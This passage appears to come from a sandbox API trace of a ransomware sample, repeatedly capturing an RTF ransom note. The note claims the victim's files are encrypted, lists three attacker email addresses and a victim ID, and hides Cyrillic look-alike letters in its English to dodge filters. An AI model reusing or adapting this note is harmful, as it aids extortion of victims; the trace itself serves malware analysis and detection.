inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0043.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0043.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 